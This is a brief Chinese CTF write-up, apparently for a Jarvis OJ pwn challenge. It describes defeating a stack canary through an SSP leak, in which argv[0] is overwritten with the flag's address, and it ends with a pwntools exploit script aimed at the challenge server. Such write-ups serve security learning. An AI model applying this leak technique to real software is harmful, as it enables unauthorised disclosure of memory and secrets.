先查看一下開啟了什么防御機制
image.png
程序開啟了canary和NX,但是hint之中卻提示讓我們overwrite it,既然無法直接插入shellcode,也無法通過ret2libc或者ROP直接繞過,好像一時之間沒有啥子辦法了,其實還有一種特別的方法,那就是SSP(Stack Smashes Protect)leak,具體可以看這里
http://www.lxweimin.com/p/b0b254b94afe
通過gdb調試,計算argv[0]到緩沖區的字節大小
image.png
image.png
發現flag存在兩個位置
image.png
最后貼上腳本
from pwn import *
from time import *
p = remote('pwn.jarvisoj.com',9877)
p.recvuntil("name?")
payload = p64(0x400D20)*160
p.sendline(payload)
p.recvuntil('flag:')
p.sendline("1")
p.interactive()